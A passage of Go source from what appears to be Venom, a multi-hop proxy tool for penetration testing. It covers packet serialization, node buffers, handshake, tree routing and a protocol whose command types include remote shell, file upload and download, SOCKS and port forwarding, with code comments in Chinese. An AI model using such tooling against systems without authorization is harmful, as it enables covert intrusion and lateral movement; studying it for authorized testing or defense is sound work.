114 | } 115 | f.SetUint(uint64(utils.BytesToUint16(buf[0:]))) 116 | case uint32: 117 | var buf [4]byte 118 | _, err := Read(input, buf[0:]) 119 | if err != nil { 120 | return err 121 | } 122 | f.SetUint(uint64(utils.BytesToUint32(buf[0:]))) 123 | case uint64: 124 | var buf [8]byte 125 | _, err := Read(input, buf[0:]) 126 | if err != nil { 127 | return err 128 | } 129 | f.SetUint(uint64(utils.BytesToUint64(buf[0:]))) 130 | case []byte: 131 | // 要求, 未指明长度的字段名需要有字段来指定其长度,并长度字段名为该字段名+Len 132 | // 如HashID字段是通过HashIDLen指明长度的 133 | // 并且要求HashIDLen在结构体中的位置在HashID之前 134 | temp := v.FieldByName(t.Field(i).Name + "Len") 135 | // 类型断言,要求长度字段类型必须为uint16、uint32或uint64 136 | var length uint64 137 | switch lengthTemp := temp.Interface().(type) { 138 | case uint64: 139 | length = lengthTemp 140 | case uint32: 141 | length = uint64(lengthTemp) 142 | case uint16: 143 | length = uint64(lengthTemp) 144 | } 145 | // 如果长度为0,就不需要读数据了 146 | if length != 0 { 147 | if length > global.MAX_PACKET_SIZE+uint64(crypto.OVERHEAD) { 148 | return nil 149 | } 150 | buf := make([]byte, length) 151 | _, err := Read(input, buf[0:]) 152 | if err != nil { 153 | return err 154 | } 155 | f.SetBytes(buf) 156 | } 157 | case [2]byte: 158 | var buf [2]byte 159 | _, err := Read(input, buf[0:]) 160 | if err != nil { 161 | return err 162 | } 163 | f.Set(reflect.ValueOf(buf)) 164 | case [4]byte: 165 | var buf [4]byte 166 | _, err := Read(input, buf[0:]) 167 | if err != nil { 168 | return err 169 | } 170 | f.Set(reflect.ValueOf(buf)) 171 | case [32]byte: 172 | var buf [32]byte 173 | _, err := Read(input, buf[0:]) 174 | if err != nil { 175 | return err 176 | } 177 | // 使用reflect给array类型赋值的方法 178 | f.Set(reflect.ValueOf(buf)) 179 | default: 180 | return errors.New("type unsupport") 181 | } 182 | } 183 | return nil 184 | } 185 | 186 | func Read(input io.Reader, buffer []byte) (int, error) { 187 | n, err := io.ReadFull(input, buffer) 188 | if err != nil { 189 | // log.Println("[-]Read Error: ", err) 190 | } 191 | return n, err 192 | } 193 | 194 | func Write(output io.Writer, buffer []byte) (int, error) { 195 | if len(buffer) > 0 { 196 | n, err := output.Write(buffer) 197 | if err != nil { 198 | // log.Println("[-]Write Error: ", err) 199 | } 200 | return n, err 201 | } 202 | return 0, nil 203 | } 204 | 205 | // if found, return PROTOCOL_SEPARATOR 206 | func readUntilSeparator(input io.Reader, separator string) (string, error) { 207 | kmp, _ := utils.NewKMP(separator) 208 | i := 0 209 | var one [1]byte 210 | for { 211 | _, err := Read(input, one[0:]) 212 | if err != nil { 213 | return "", err 214 | } 215 | if kmp.Pattern[i] == one[0] { 216 | if i == kmp.Size-1 { 217 | return kmp.Pattern, nil 218 | } 219 | i++ 220 | continue 221 | } 222 | if kmp.Prefix[i] > -1 { 223 | i = kmp.Prefix[i] 224 | } else { 225 | i = 0 226 | } 227 | } 228 | } 229 | 230 | func NetCopy(input, output net.Conn) (err error) { 231 | defer input.Close() 232 | 233 | buf := make([]byte, global.MAX_PACKET_SIZE) 234 | for { 235 | count, err := input.Read(buf) 236 | if err != nil { 237 | if err == io.EOF && count > 0 { 238 | output.Write(buf[:count]) 239 | } 240 | if err != io.EOF { 241 | log.Fatalln("[-]Read error:", err) 242 | } 243 | break 244 | } 245 | if count > 0 { 246 | output.Write(buf[:count]) 247 | } 248 | } 249 | return 250 | } 251 | -------------------------------------------------------------------------------- /node/buffer.go: -------------------------------------------------------------------------------- 1 | package node 2 | 3 | import ( 4 | "errors" 5 | "io" 6 | "log" 7 | "sync" 8 | 9 | "github.com/Dliv3/Venom/global" 10 | "github.com/Dliv3/Venom/protocol" 11 | ) 12 | 13 | type Buffer struct { 14 | Chan chan interface{} 15 | } 16 | 17 | func NewBuffer() *Buffer { 18 | return &Buffer{ 19 | Chan: make(chan interface{}, global.BUFFER_SIZE), 20 | } 21 | } 22 | 23 | func (buffer *Buffer) ReadLowLevelPacket() (protocol.Packet, error) { 24 | packet := <-buffer.Chan 25 | switch packet.(type) { 26 | case protocol.Packet: 27 | return packet.(protocol.Packet), nil 28 | case error: 29 | return protocol.Packet{}, io.EOF 30 | default: 31 | return protocol.Packet{}, errors.New("Data Type Error") 32 | } 33 | } 34 | 35 | func (buffer *Buffer) ReadPacket(packetHeader *protocol.PacketHeader, packetData interface{}) error { 36 | packet, err := buffer.ReadLowLevelPacket() 37 | if err != nil { 38 | return err 39 | } 40 | if packetHeader != nil { 41 | packet.ResolveHeader(packetHeader) 42 | } 43 | if packetData != nil { 44 | packet.ResolveData(packetData) 45 | } 46 | return nil 47 | } 48 | 49 | func (buffer *Buffer) WriteLowLevelPacket(packet protocol.Packet) { 50 | buffer.Chan <- packet 51 | } 52 | 53 | func (buffer *Buffer) WriteBytes(data []byte) { 54 | buffer.Chan <- data 55 | } 56 | 57 | func (buffer *Buffer) ReadBytes() ([]byte, error) { 58 | if buffer == nil { 59 | return nil, errors.New("Buffer is null") 60 | } 61 | data := <-buffer.Chan 62 | // select { 63 | // case <-time.After(time.Second * TIME_OUT): 64 | // return nil, errors.New("TimeOut") 65 | // case data := <-buffer.Chan: 66 | // switch data.(type) { 67 | // case []byte: 68 | // return data.([]byte), nil 69 | // // Fix Bug : socks5连接不会断开的问题 70 | // case error: 71 | // return nil, io.EOF 72 | // default: 73 | // return nil, errors.New("Data Type Error") 74 | // } 75 | // } 76 | switch data.(type) { 77 | case []byte: 78 | return data.([]byte), nil 79 | // Fix Bug : socks5连接不会断开的问题 80 | case error: 81 | return nil, io.EOF 82 | default: 83 | return nil, errors.New("Data Type Error") 84 | } 85 | } 86 | 87 | // Fix Bug : socks5连接不会断开的问题 88 | func (buffer *Buffer) WriteCloseMessage() { 89 | if buffer != nil { 90 | buffer.Chan <- io.EOF 91 | } 92 | } 93 | 94 | type DataBuffer struct { 95 | // 数据信道缓冲区 96 | DataBuffer [global.TCP_MAX_CONNECTION]*Buffer 97 | DataBufferLock *sync.RWMutex 98 | 99 | // Session ID 100 | SessionID uint16 101 | SessionIDLock *sync.Mutex 102 | } 103 | 104 | func NewDataBuffer() *DataBuffer { 105 | return &DataBuffer{ 106 | SessionIDLock: &sync.Mutex{}, 107 | DataBufferLock: &sync.RWMutex{}, 108 | } 109 | } 110 | 111 | func (dataBuffer *DataBuffer) GetDataBuffer(sessionID uint16) *Buffer { 112 | if int(sessionID) > len(dataBuffer.DataBuffer) { 113 | log.Println("[-]DataBuffer sessionID error: ", sessionID) 114 | return nil 115 | } 116 | dataBuffer.DataBufferLock.RLock() 117 | defer dataBuffer.DataBufferLock.RUnlock() 118 | return dataBuffer.DataBuffer[sessionID] 119 | } 120 | 121 | func (dataBuffer *DataBuffer) NewDataBuffer(sessionID uint16) { 122 | dataBuffer.DataBufferLock.Lock() 123 | defer dataBuffer.DataBufferLock.Unlock() 124 | dataBuffer.DataBuffer[sessionID] = NewBuffer() 125 | } 126 | 127 | func (dataBuffer *DataBuffer) RealseDataBuffer(sessionID uint16) { 128 | dataBuffer.DataBufferLock.Lock() 129 | defer dataBuffer.DataBufferLock.Unlock() 130 | dataBuffer.DataBuffer[sessionID] = nil 131 | } 132 | 133 | func (dataBuffer *DataBuffer) GetSessionID() uint16 { 134 | dataBuffer.SessionIDLock.Lock() 135 | defer dataBuffer.SessionIDLock.Unlock() 136 | id := dataBuffer.SessionID 137 | dataBuffer.SessionID = (dataBuffer.SessionID + 1) % global.TCP_MAX_CONNECTION 138 | return id 139 | } 140 | -------------------------------------------------------------------------------- /node/global.go: -------------------------------------------------------------------------------- 1 | package node 2 | 3 | import "github.com/Dliv3/Venom/utils" 4 | 5 | // CurrentNode 当前节点 6 | var CurrentNode = Node{ 7 | IsAdmin: 0, 8 | HashID: utils.NewUUID(), 9 | // Conn: nil, // 当前节点无需使用Conn 10 | // ConnReadLock: nil, 11 | // ConnWriteLock: nil, 12 | // Socks5SessionIDLock: nil, 13 | } 14 | 15 | var GNetworkTopology = NetworkTopology{ 16 | RouteTable: make(map[string]string), 17 | NetworkMap: make(map[string]([]string)), 18 | } 19 | 20 | var GNodeInfo = NodeInfo{ 21 | NodeNumber2UUID: make(map[int]string), 22 | NodeUUID2Number: make(map[string]int), 23 | NodeDescription: make(map[string]string), 24 | } 25 | 26 | // Nodes 与当前节点连接的节点 27 | var Nodes = make(map[string]*Node) 28 | -------------------------------------------------------------------------------- /node/init.go: -------------------------------------------------------------------------------- 1 | package node 2 | 3 | import ( 4 | "errors" 5 | "log" 6 | "net" 7 | 8 | "github.com/Dliv3/Venom/global" 9 | "github.com/Dliv3/Venom/netio" 10 | "github.com/Dliv3/Venom/protocol" 11 | "github.com/Dliv3/Venom/utils" 12 | ) 13 | 14 | var ERR_UNKNOWN_CMD = errors.New("Unknown command type") 15 | 16 | func ServerInitConnection(conn net.Conn) (bool, *Node) { 17 | // 端口重用模式下发送的一段垃圾数据 18 | netio.Write(conn, []byte(global.PROTOCOL_FEATURE)) 19 | 20 | var PacketHeader protocol.PacketHeader 21 | netio.ReadPacket(conn, &PacketHeader) 22 | 23 | if PacketHeader.Separator != global.PROTOCOL_SEPARATOR || 24 | PacketHeader.CmdType != protocol.INIT { 25 | log.Println("[-]InitPacket error: separator or cmd type") 26 | conn.Close() 27 | return false, nil 28 | } 29 | 30 | var initPacketCmd protocol.InitPacketCmd 31 | netio.ReadPacket(conn, &initPacketCmd) 32 | 33 | initPacketRet := protocol.InitPacketRet{ 34 | OsType: utils.GetSystemType(), 35 | HashID: utils.UUIDToArray32(CurrentNode.HashID), 36 | IsAdmin: 0, 37 | } 38 | size, _ := utils.PacketSize(initPacketRet) 39 | PacketHeader = protocol.PacketHeader{ 40 | Separator: global.PROTOCOL_SEPARATOR, 41 | CmdType: protocol.INIT, 42 | DataLen: size, 43 | } 44 | netio.WritePacket(conn, PacketHeader) 45 | netio.WritePacket(conn, initPacketRet) 46 | 47 | // clientNode := &Node{ 48 | // HashID: utils.Array32ToUUID(initPacketCmd.HashID), 49 | // IsAdmin: initPacketCmd.IsAdmin, 50 | // Conn: conn, 51 | // ConnReadLock: &sync.Mutex{}, 52 | // ConnWriteLock: &sync.Mutex{}, 53 | // // Socks5SessionIDLock: &sync.Mutex{}, 54 | // // Socks5DataBufferLock: &sync.RWMutex{}, 55 | // DirectConnection: true, 56 | // } 57 | // clientNode.InitDataBuffer() 58 | 59 | clientNode := NewNode( 60 | initPacketCmd.IsAdmin, 61 | utils.Array32ToUUID(initPacketCmd.HashID), 62 | conn, 63 | true, 64 | ) 65 | 66 | Nodes[utils.Array32ToUUID(initPacketCmd.HashID)] = clientNode 67 | clientNodeID := utils.Array32ToUUID(initPacketCmd.HashID) 68 | GNetworkTopology.AddRoute(clientNodeID, clientNodeID) 69 | GNetworkTopology.AddNetworkMap(CurrentNode.HashID, clientNodeID) 70 | GNodeInfo.AddNode(clientNodeID) 71 | 72 | return true, clientNode 73 | } 74 | 75 | func ClentInitConnection(conn net.Conn) (bool, *Node) { 76 | // 端口重用模式下发送的一段垃圾数据 77 | netio.Write(conn, []byte(global.PROTOCOL_FEATURE)) 78 | 79 | // Node的初始状态为UNINIT,所以首先CurrentNode会向连接的对端发送init packet 80 | initPacketCmd := protocol.InitPacketCmd{ 81 | OsType: utils.GetSystemType(), 82 | HashID: utils.UUIDToArray32(CurrentNode.HashID), 83 | IsAdmin: 0, 84 | } 85 | size, _ := utils.PacketSize(initPacketCmd) 86 | PacketHeader := protocol.PacketHeader{ 87 | Separator: global.PROTOCOL_SEPARATOR, 88 | CmdType: protocol.INIT, 89 | DataLen: size, 90 | } 91 | netio.WritePacket(conn, PacketHeader) 92 | netio.WritePacket(conn, initPacketCmd) 93 | 94 | // 读取返回包 95 | // init阶段可以看做连接建立阶段,双方进行握手后交换信息 96 | // 所有init阶段无需校验数据包中的DstHashID,因为此时双方还没有获取双方的HashID 97 | netio.ReadPacket(conn, &PacketHeader) 98 | if PacketHeader.Separator != global.PROTOCOL_SEPARATOR || 99 | PacketHeader.CmdType != protocol.INIT { 100 | log.Println("[-]InitPacket error: separator or cmd type error") 101 | conn.Close() 102 | return false, nil 103 | } 104 | var initPacketRet protocol.InitPacketRet 105 | netio.ReadPacket(conn, &initPacketRet) 106 | // 新建节点加入map 107 | // serverNode := &Node{ 108 | // HashID: utils.Array32ToUUID(initPacketRet.HashID), 109 | // IsAdmin: initPacketRet.IsAdmin, 110 | // Conn: conn, 111 | // ConnReadLock: &sync.Mutex{}, 112 | // ConnWriteLock: &sync.Mutex{}, 113 | // // Socks5SessionIDLock: &sync.Mutex{}, 114 | // // Socks5DataBufferLock: &sync.RWMutex{}, 115 | // DirectConnection: true, 116 | // } 117 | // serverNode.InitDataBuffer() 118 | 119 | serverNode := NewNode( 120 | initPacketRet.IsAdmin, 121 | utils.Array32ToUUID(initPacketRet.HashID), 122 | conn, 123 | true, 124 | ) 125 | 126 | Nodes[utils.Array32ToUUID(initPacketRet.HashID)] = serverNode 127 | 128 | serverNodeID := utils.Array32ToUUID(initPacketRet.HashID) 129 | GNetworkTopology.AddRoute(serverNodeID, serverNodeID) 130 | GNetworkTopology.AddNetworkMap(CurrentNode.HashID, serverNodeID) 131 | GNodeInfo.AddNode(serverNodeID) 132 | 133 | return true, serverNode 134 | } 135 | -------------------------------------------------------------------------------- /node/net.go: -------------------------------------------------------------------------------- 1 | package node 2 | 3 | import ( 4 | "net" 5 | "runtime" 6 | 7 | "github.com/Dliv3/Venom/global" 8 | "github.com/Dliv3/Venom/protocol" 9 | "github.com/Dliv3/Venom/utils" 10 | ) 11 | 12 | func CopyNet2Node(input net.Conn, output *Node, currentSessionID uint16, protocolType uint16, c chan bool) error { 13 | buf := make([]byte, global.MAX_PACKET_SIZE-8) 14 | var err error 15 | var count int 16 | for { 17 | count, err = input.Read(buf) 18 | // fmt.Println(count) 19 | // fmt.Println(buf[:count]) 20 | // fmt.Println(string(buf[:count])) 21 | socks5Data := protocol.NetDataPacket{ 22 | SessionID: currentSessionID, 23 | DataLen: uint32(count), 24 | Data: buf[:count], 25 | } 26 | size, _ := utils.PacketSize(socks5Data) 27 | packetHeader := protocol.PacketHeader{ 28 | Separator: global.PROTOCOL_SEPARATOR, 29 | CmdType: protocolType, 30 | SrcHashID: utils.UUIDToArray32(CurrentNode.HashID), 31 | DstHashID: utils.UUIDToArray32(output.HashID), 32 | DataLen: size, 33 | } 34 | if err != nil { 35 | // fmt.Println(err) 36 | if count > 0 { 37 | output.WritePacket(packetHeader, socks5Data) 38 | } 39 | break 40 | } 41 | if count > 0 { 42 | output.WritePacket(packetHeader, socks5Data) 43 | } 44 | } 45 | c <- true 46 | // fmt.Println("==================== CopyNet2Node Done! ====================") 47 | return err 48 | } 49 | 50 | func CopyNode2Net(input *Node, output net.Conn, currentSessionID uint16, protocolType uint16, c chan bool) error { 51 | var err error 52 | var data []byte 53 | for { 54 | data, err = input.DataBuffers[protocolType].GetDataBuffer(currentSessionID).ReadBytes() 55 | if err != nil { 56 | // fmt.Println(err) 57 | input.DataBuffers[protocolType].RealseDataBuffer(currentSessionID) 58 | runtime.GC() 59 | output.Close() 60 | break 61 | } 62 | output.Write(data) 63 | } 64 | // fmt.Println("==================== CopyNode2Net Done! ====================") 65 | c <- true 66 | return err 67 | } 68 | -------------------------------------------------------------------------------- /node/node.go: -------------------------------------------------------------------------------- 1 | package node 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "net" 7 | "sync" 8 | 9 | "github.com/Dliv3/Venom/global" 10 | "github.com/Dliv3/Venom/netio" 11 | "github.com/Dliv3/Venom/protocol" 12 | "github.com/Dliv3/Venom/utils" 13 | ) 14 | 15 | // Node 节点 16 | type Node struct { 17 | IsAdmin uint16 // Node是否是Admin 18 | HashID string // Node的HashID 19 | Conn net.Conn // 与Node的TCP连接 20 | 21 | // Conn的锁,因为Conn读写Packet的时候如果不加锁,多个routine会出现乱序的情况 22 | ConnReadLock *sync.Mutex 23 | ConnWriteLock *sync.Mutex 24 | 25 | // 控制信道缓冲区 26 | CommandBuffers map[uint16]*Buffer 27 | 28 | // 数据信道缓冲区 29 | DataBuffers map[uint16]*DataBuffer 30 | 31 | // 是否与本节点直接连接 32 | DirectConnection bool 33 | 34 | // Socks5Running bool // 防止admin node在一个agent上开启多个连接 35 | } 36 | 37 | func NewNode(isAdmin uint16, hashID string, conn net.Conn, directConnection bool) *Node { 38 | newNode := &Node{ 39 | HashID: hashID, 40 | IsAdmin: isAdmin, 41 | Conn: conn, 42 | ConnReadLock: &sync.Mutex{}, 43 | ConnWriteLock: &sync.Mutex{}, 44 | DirectConnection: directConnection, 45 | } 46 | newNode.InitDataBuffer() 47 | return newNode 48 | } 49 | 50 | // CommandHandler 协议数据包,将协议数据包分类写入Buffer 51 | func (node *Node) CommandHandler(peerNode *Node) { 52 | defer peerNode.Disconnect() 53 | for { 54 | var lowLevelPacket protocol.Packet 55 | err := peerNode.ReadLowLevelPacket(&lowLevelPacket) 56 | if err != nil { 57 | fmt.Println("node disconnect: ", err) 58 | return 59 | } 60 | switch utils.Array32ToUUID(lowLevelPacket.DstHashID) { 61 | case node.HashID: 62 | if lowLevelPacket.Separator == global.PROTOCOL_SEPARATOR { 63 | switch lowLevelPacket.CmdType { 64 | case protocol.SYNC: 65 | fallthrough 66 | case protocol.LISTEN: 67 | fallthrough 68 | case protocol.CONNECT: 69 | fallthrough 70 | case protocol.SHELL: 71 | fallthrough 72 | case protocol.UPLOAD: 73 | fallthrough 74 | case protocol.DOWNLOAD: 75 | fallthrough 76 | case protocol.SOCKS: 77 | fallthrough 78 | case protocol.LFORWARD: 79 | fallthrough 80 | case protocol.RFORWARD: 81 | fallthrough 82 | case protocol.SSHCONNECT: 83 | node.CommandBuffers[lowLevelPacket.CmdType].WriteLowLevelPacket(lowLevelPacket) 84 | case protocol.SOCKSDATA: 85 | fallthrough 86 | case protocol.LFORWARDDATA: 87 | fallthrough 88 | case protocol.RFORWARDDATA: 89 | var data protocol.NetDataPacket 90 | lowLevelPacket.ResolveData(&data) 91 | peerNodeID := utils.Array32ToUUID(lowLevelPacket.SrcHashID) 92 | if Nodes[peerNodeID].DataBuffers[lowLevelPacket.CmdType].GetDataBuffer(data.SessionID) != nil { 93 | if data.Close == 1 { 94 | Nodes[peerNodeID].DataBuffers[lowLevelPacket.CmdType].GetDataBuffer(data.SessionID).WriteCloseMessage() 95 | } else { 96 | // 只将数据写入数据buffer,不写入整个packet 97 | Nodes[peerNodeID].DataBuffers[lowLevelPacket.CmdType].GetDataBuffer(data.SessionID).WriteBytes(data.Data) 98 | } 99 | } 100 | default: 101 | log.Println(fmt.Sprintf("[-]%s", ERR_UNKNOWN_CMD)) 102 | } 103 | } else { 104 | log.Println("[-]Separator error") 105 | } 106 | default: 107 | // 如果节点为Agent节点转发 108 | if node.IsAdmin == 0 { 109 | nextNode := GNetworkTopology.RouteTable[utils.Array32ToUUID(lowLevelPacket.DstHashID)] 110 | targetNode := Nodes[nextNode] 111 | if targetNode != nil { 112 | targetNode.WriteLowLevelPacket(lowLevelPacket) 113 | } else { 114 | log.Println("[-]Can not find target node") 115 | } 116 | } else { 117 | // fmt.Println("src id:", utils.Array32ToUUID(lowLevelPacket.SrcHashID)) 118 | // fmt.Println("dst id:", utils.Array32ToUUID(lowLevelPacket.DstHashID)) 119 | // fmt.Println("dst cmd type:", lowLevelPacket.CmdType) 120 | fmt.Println("[-]Target node error") 121 | } 122 | } 123 | } 124 | } 125 | 126 | func (node *Node) InitCommandBuffer() { 127 | node.CommandBuffers = make(map[uint16]*Buffer) 128 | 129 | node.CommandBuffers[protocol.SYNC] = NewBuffer() 130 | node.CommandBuffers[protocol.LISTEN] = NewBuffer() 131 | node.CommandBuffers[protocol.CONNECT] = NewBuffer() 132 | node.CommandBuffers[protocol.SOCKS] = NewBuffer() 133 | node.CommandBuffers[protocol.UPLOAD] = NewBuffer() 134 | node.CommandBuffers[protocol.DOWNLOAD] = NewBuffer() 135 | node.CommandBuffers[protocol.SHELL] = NewBuffer() 136 | node.CommandBuffers[protocol.LFORWARD] = NewBuffer() 137 | node.CommandBuffers[protocol.RFORWARD] = NewBuffer() 138 | node.CommandBuffers[protocol.SSHCONNECT] = NewBuffer() 139 | } 140 | 141 | func (node *Node) InitDataBuffer() { 142 | node.DataBuffers = make(map[uint16]*DataBuffer) 143 | 144 | node.DataBuffers[protocol.SOCKSDATA] = NewDataBuffer() 145 | node.DataBuffers[protocol.LFORWARDDATA] = NewDataBuffer() 146 | node.DataBuffers[protocol.RFORWARDDATA] = NewDataBuffer() 147 | } 148 | 149 | // TODO 只有与断掉节点之间相连的节点才会清理路由表/网络拓扑表/节点标号等 150 | // 暂无法做到对全网所有节点的如下信息进行清理,这样有些麻烦,暂时也不是刚需 151 | func (node *Node) Disconnect() { 152 | node.Conn.Close() 153 | // 删除网络拓扑 154 | GNetworkTopology.DeleteNode(node) 155 | // 删除节点 156 | delete(Nodes, node.HashID) 157 | // 删除结构体 158 | node = nil 159 | } 160 | 161 | func (node *Node) ReadLowLevelPacket(packet interface{}) error { 162 | node.ConnReadLock.Lock() 163 | defer node.ConnReadLock.Unlock() 164 | err := netio.ReadPacket(node.Conn, packet) 165 | if err != nil { 166 | return err 167 | } 168 | return nil 169 | } 170 | 171 | func (node *Node) WriteLowLevelPacket(packet interface{}) error { 172 | node.ConnWriteLock.Lock() 173 | defer node.ConnWriteLock.Unlock() 174 | err := netio.WritePacket(node.Conn, packet) 175 | if err != nil { 176 | return err 177 | } 178 | return nil 179 | } 180 | 181 | // func (node *Node) ReadPacket(header *protocol.PacketHeader, packet interface{}) error { 182 | // node.ConnReadLock.Lock() 183 | // defer node.ConnReadLock.Unlock() 184 | 185 | // // 读数据包的头部字段 186 | // err := netio.ReadPacket(node.Conn, header) 187 | // if err != nil { 188 | // return err 189 | // } 190 | // // 读数据包的数据字段 191 | // err = netio.ReadPacket(node.Conn, packet) 192 | // if err != nil { 193 | // return err 194 | // } 195 | // return nil 196 | // } 197 | 198 | func (node *Node) WritePacket(header protocol.PacketHeader, packet interface{}) error { 199 | 200 | node.ConnWriteLock.Lock() 201 | defer node.ConnWriteLock.Unlock() 202 | 203 | if global.SECRET_KEY != nil { 204 | // 加密, 将Packet.Data部分整个加密 205 | cryptPacket := protocol.Packet{} 206 | cryptPacket.PackHeader(header) 207 | cryptPacket.PackData(packet) 208 | err := netio.WritePacket(node.Conn, cryptPacket) 209 | if err != nil { 210 | return err 211 | } 212 | return nil 213 | } 214 | 215 | // 写数据包的头部字段 216 | header.DataLen, _ = utils.PacketSize(packet) 217 | err := netio.WritePacket(node.Conn, header) 218 | if err != nil { 219 | return err 220 | } 221 | // 写数据包的数据字段 222 | err = netio.WritePacket(node.Conn, packet) 223 | if err != nil { 224 | return err 225 | } 226 | return nil 227 | } 228 | 229 | type NodeInfo struct { 230 | // 节点编号,已被分配的节点编号不会在节点断开后分给新加入网络的节点 231 | NodeNumber2UUID map[int]string 232 | NodeUUID2Number map[string]int 233 | // 节点描述 234 | NodeDescription map[string]string 235 | } 236 | 237 | // NodeExist 节点是否存在 238 | func (info *NodeInfo) NodeExist(nodeID string) bool { 239 | if _, ok := info.NodeUUID2Number[nodeID]; ok { 240 | return true 241 | } 242 | return false 243 | } 244 | 245 | // AddNode 添加一个节点并为节点编号 246 | func (info *NodeInfo) AddNode(nodeID string) { 247 | number := len(info.NodeNumber2UUID) + 1 248 | info.NodeNumber2UUID[number] = nodeID 249 | info.NodeUUID2Number[nodeID] = number 250 | } 251 | 252 | // UpdateNoteInfo 根据路由表信息给节点编号 253 | func (info *NodeInfo) UpdateNoteInfo() { 254 | for key := range GNetworkTopology.RouteTable { 255 | if !info.NodeExist(key) { 256 | info.AddNode(key) 257 | } 258 | } 259 | } 260 | -------------------------------------------------------------------------------- /node/route.go: -------------------------------------------------------------------------------- 1 | package node 2 | 3 | import ( 4 | "strings" 5 | 6 | "github.com/Dliv3/Venom/utils" 7 | ) 8 | 9 | // NetworkTopology 网络拓扑 10 | // RouteTable 路由表, 路由表的Key为目标节点, Value为下一跳节点,注意在该多级代理的应用场景中,暂不支持节点间形成环路的情况 11 | // 从管理节点到其他节点,有且仅有一条道路,所以不涉及路由选路的问题,即仅支持树形拓扑 12 | // NetworkMap 网络拓扑, key为节点id,value为该节点下直接连接的节点id 13 | type NetworkTopology struct { 14 | RouteTable map[string]string 15 | NetworkMap map[string]([]string) 16 | } 17 | 18 | func (nt *NetworkTopology) recursiveUpdateRouteTable(root string, key string) { 19 | if value, ok := nt.NetworkMap[key]; ok { 20 | for _, v := range value { 21 | // avoid adding the current node to the route table 22 | if v != CurrentNode.HashID { 23 | // 避免成环 24 | if _, ok := nt.RouteTable[v]; !ok { 25 | nt.RouteTable[v] = root 26 | nt.recursiveUpdateRouteTable(root, v) 27 | } 28 | } 29 | } 30 | } 31 | } 32 | 33 | // UpdateRouteTable 通过NeworkMap中的数据生成路由表 34 | func (nt *NetworkTopology) UpdateRouteTable() { 35 | // 清空现有路由表,这样当有节点断开时网络拓扑会实时改变 36 | nt.RouteTable = make(map[string]string) 37 | 38 | if value, ok := nt.NetworkMap[CurrentNode.HashID]; ok { 39 | for _, v := range value { 40 | nt.RouteTable[v] = v 41 | nt.recursiveUpdateRouteTable(v, v) 42 | } 43 | } 44 | } 45 | 46 | // AddRoute 在路由表中添加一条路由表 47 | func (nt *NetworkTopology) AddRoute(targetNode string, nextNode string) { 48 | nt.RouteTable[targetNode] = nextNode 49 | } 50 | 51 | // AddNetworkMap 向网络拓扑中添加节点,key为父节点,nodeId为子节点 52 | func (nt *NetworkTopology) AddNetworkMap(parent string, chlid string) { 53 | nt.NetworkMap[parent] = append(nt.NetworkMap[parent], chlid) 54 | } 55 | 56 | // InitNetworkMap 初始化网络拓扑, 初始网络拓扑仅包含与本节点直接相连的节点 57 | func (nt *NetworkTopology) InitNetworkMap() { 58 | nt.NetworkMap = make(map[string]([]string)) 59 | for i := range Nodes { 60 | if Nodes[i].DirectConnection { 61 | nt.AddNetworkMap(CurrentNode.HashID, Nodes[i].HashID) 62 | } 63 | } 64 | } 65 | 66 | // ResolveNetworkMapData 解析SyncPacket中包含的NetworkMap数据 67 | func (nt *NetworkTopology) ResolveNetworkMapData(data []byte) { 68 | var networkMap = strings.Split(string(data), "$") 69 | for i := range networkMap { 70 | each := strings.Split(networkMap[i], "#") 71 | key := each[0] 72 | var tempNodes []string 73 | if each[1] == "" { 74 | tempNodes = []string{} 75 | } else { 76 | tempNodes = strings.Split(each[1], "|") 77 | } 78 | if _, ok := nt.NetworkMap[key]; ok { 79 | nt.NetworkMap[key] = append(nt.NetworkMap[key], tempNodes...) 80 | } else { 81 | nt.NetworkMap[key] = tempNodes 82 | } 83 | nt.NetworkMap[key] = utils.RemoveDuplicateElement(nt.NetworkMap[key]) 84 | } 85 | } 86 | 87 | // GenerateNetworkMapData 更具网络拓扑生成SyncPacket中使用的NetworkMap数据 88 | func (nt *NetworkTopology) GenerateNetworkMapData() []byte { 89 | var networkMap []string 90 | 91 | for key := range nt.NetworkMap { 92 | networkMap = append(networkMap, key+"#"+strings.Join(nt.NetworkMap[key], "|")) 93 | } 94 | var networkMapBytes = []byte(strings.Join(networkMap, "$")) 95 | return networkMapBytes 96 | } 97 | 98 | func (nt *NetworkTopology) DeleteNode(node *Node) { 99 | // 不需要刻意删除节点,因为节点是信息是动态改变的 100 | 101 | // 删除节点标号 102 | // 删除路由表 103 | // 删除网络拓扑 104 | // 删除节点描述 105 | } 106 | -------------------------------------------------------------------------------- /protocol/protocol.go: -------------------------------------------------------------------------------- 1 | package protocol 2 | 3 | import ( 4 | "bytes" 5 | 6 | "github.com/Dliv3/Venom/crypto" 7 | "github.com/Dliv3/Venom/global" 8 | "github.com/Dliv3/Venom/netio" 9 | ) 10 | 11 | // 协议类型 12 | const ( 13 | // 初始化,在node对象建立之前 14 | INIT = iota 15 | // 控制协议 16 | SYNC 17 | LISTEN 18 | CONNECT 19 | SHELL 20 | UPLOAD 21 | DOWNLOAD 22 | SOCKS 23 | LFORWARD 24 | RFORWARD 25 | SSHCONNECT 26 | // 数据传输协议 27 | SOCKSDATA 28 | LFORWARDDATA 29 | RFORWARDDATA 30 | ) 31 | 32 | // Packet 是较为低层的数据包格式 33 | // 比Packet高层的网络数据存放在Data中 34 | // 如果Packet不属于本节点,则直接转发即可,无需解析Data格式 35 | type Packet struct { 36 | Separator string 37 | CmdType uint16 38 | SrcHashID [32]byte // 源节点ID 39 | DstHashID [32]byte // 目的节点ID 40 | DataLen uint64 41 | Data []byte 42 | } 43 | 44 | // ResolveData 解析Packet Data字段的数据为特定格式的数据包 45 | func (packet *Packet) ResolveData(cmdPacket interface{}) { 46 | // 如果有解密需求, 先解密 47 | if global.SECRET_KEY != nil { 48 | // fmt.Println(packet.DataLen) 49 | // fmt.Println(packet.Data) 50 | packet.Data, _ = crypto.Decrypt(packet.Data, global.SECRET_KEY) 51 | packet.DataLen = uint64(len(packet.Data)) 52 | } 53 | // fmt.Println(packet.Data) 54 | // fmt.Println(packet.DataLen) 55 | netio.ReadPacket(bytes.NewBuffer(packet.Data), cmdPacket) 56 | } 57 | 58 | // PackData 将cmdPacket打包成byte 59 | func (packet *Packet) PackData(cmdPacket interface{}) { 60 | tmpBuffer := new(bytes.Buffer) 61 | netio.WritePacket(tmpBuffer, cmdPacket) 62 | packet.Data = tmpBuffer.Bytes() 63 | // 如果有加密需求, 后加密 64 | if global.SECRET_KEY != nil { 65 | packet.Data, _ = crypto.Encrypt(packet.Data, global.SECRET_KEY) 66 | } 67 | packet.DataLen = uint64(len(packet.Data)) 68 | } 69 